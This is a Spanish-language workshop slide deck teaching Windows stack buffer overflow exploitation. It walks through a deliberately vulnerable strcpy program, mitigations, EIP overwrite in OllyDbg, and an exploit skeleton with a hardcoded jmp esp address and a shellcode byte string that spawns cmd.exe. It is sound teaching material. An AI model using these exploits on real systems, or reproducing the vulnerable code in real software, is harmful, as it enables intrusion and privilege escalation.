Introducción a los Buffer Overflows y ShellCodes en Windows
Un pequeño vistazo a como explotar buffer overflows y divertirnos (o morir) en
el intento…
Antes de empezar…
• Herramientas:– Ollydebug– TASM5 (Turbo Assembler 5)– Devcpp o VC++– FindJmp– Editor (el que tu quieras)
¿Qué es un Buffer Overflow?
• Bug de programación.– Ocasionado por copiar datos a un area de
memoria que no es lo suficientemente grande para contenerlos.
char buffer[64]; // Buffer de 64 bytesstrcpy(buffer, argv[1]); //Aqui es donde esta el fallo.
¿Ajá y qué ? Explícamelo con palitos y bolitas
• El Procesador tiene varios registros (eax, ecx, edx, esi, edi, eip, esp, ebp)
• Introducir datos mayores al buffer causa que sobre escribas memoria continua
• Al sobre escribir memoria continua, causas un error de segmento
• EIP <- este registro es importante.
Buffer Overflow'd' 'e' 'm' 'a' 's' 'i' 'a' 'd' 'o' 0
Buffer A Buffer B
0 0 0 0 0 0 0 0 0 3
Buffer A Buffer B
Buffer
Código vulnerable#include <stdio.h> #include <stdlib.h>
int main (int argc, char **argv){ char buffer[64]; // Buffer de 64 bytes if (argc < 2) { // No hay argumentos, mostramos mensaje printf ("Introduzca un argumento al programa\n"); return 0; } // copiamos parametros al buffer vulnerable // si mas de 64 bytes sobreescribiremos memoria continua // OJO! siempre verificar aqui o usar una funcion equivalente y segura.
char buffer[64]; // Buffer de 64 bytes strcpy(buffer, argv[1]); // Aqui es donde esta el fallo.
return 0; }
Práctica
Escribiendo un programa vulnerable.
¿Cómo protegerme?
• Es necesario SIEMPRE validar las entradas de datos.
• Dejar de usar funciones como strcpy y usar strncpy
• Colocar un 0x00 (fin de cadena) siempre!
strncpy(buffer, argv[1], sizeof(buffer));buffer[sizeof(buffer) - 1] = '\0';
Práctica.
Escribiendo un programa no vulnerable
Explotar el Buffer Overflow
Listos para la diversión….
¿Cómo explotamos esta vuln?
• Abran todos su Ollydebug • File -> Open -> Busquen el archivo vulnerable
que acabamos de compilar• Debug -> Arguments• Introducimos AAAAAAAAAAAAAA (todas las
que podamos)• Debug -> Restart• Apretamos F9
¿Qué pasó?Memory Exception
EIP = 0x414141
Buffer Overflow!
¿Qué podemos hacer con un stack overflow?
• Nada.• Manipular el flujo del programa– Ejecutar el código que se nos de la gana.– Obtener una shell y acceder al sistema.– Elevación de privilegios.– Crear gusanos que se reproduzcan masivamente.– Lo que se le ocurra a nuestra imaginación.
ShellCodes
¿Qué es una shellcode?
• Programa normalmente hecho en asm de características muy pequeñas.
• Al ser pequeño es inyectado a la pila y ejecutado.
Tipos de Shellcodes.
• Locales. (Escalación de privilegios)• Externas.– Reverse ShellCode– Bind ShellCode
Programaremos una Shellcode Local
• Abran su editor favorito (notepad++ p.e).• Preparen su TASM (instalenlo si no lo está)• Creen un archivo llamado compilar.bat en C:• Abran compilar.bat
c:\TASM\bin\tasm32 -ml -m5 -q -zn shellcode.asm
c:\TASM\bin\tlink32 -v -Tpe -c -x -aa shellcode,,, import32
Práctica Presentación de código de la shellcode
HardCoded Address
• Al estar en memoria necesitamos conocer las direcciones de las funciones que vamos a llamar.
• Las direcciones de las funciones varían de equipo, versión, dlls diferentes, parches aplicados.
• Usaremos HardCoded Addresses unicamente para este propósito.
• Sí se pueden buscar las direcciones y obtener las funciones que queramos (GetProcAddress y LoadLibraryA)
BoF + ShellCode
• ¿Ahora qué sigue?
Sobre escribiendo EIP
• Es imposible meter nuestra ShellCode en el buffer y que se ejecute.
• Abramos nuestro Ollydebug o si está abierto observemos los registros sobre todo ESP
• Necesitamos sobre escribir EIP con un jmp esp o un call esp
• Haremos que brinque hacia nuestra ShellCode (desviar el flujo del programa hacia donde queremos)
Sí, pero como hacemos que brinque a un jmp esp…
• FINDJMP.!• Todos los EXE cargan KERNEL32.DLL y
NTDLL.DLL.• Estas DLLs exportan funciones y están siempre
cargadas en memoria.
Programando el Exploitchar buffer[1024] = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ";
char offset[] = "\xED\x1E\x95\x7C"; // jmp esp en ntdll.dll
char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3";
Práctica - Programando el exploit.
Ejecutando!• Happy Hacking !!!
FIN – Dudas, comentarios etc. ?Muchas gracias!!!!
Taller por: Amir Canto @amircp
www.facebook.com/amircantoMail: [email protected]
Referencias
• http://insecure.org/stf/smashstack.html• http://www.phrack.org/issues.html?issue=55
&id=15• http://es.wikipedia.org/wiki/Buffer_overflow• http://foro.colombiaunderground.org/index.p
hp?topic=559.0• http://packetstormsecurity.org/papers/win/A
nalysis-of-Microsoft-Windows-Vistas-ASLR.pdf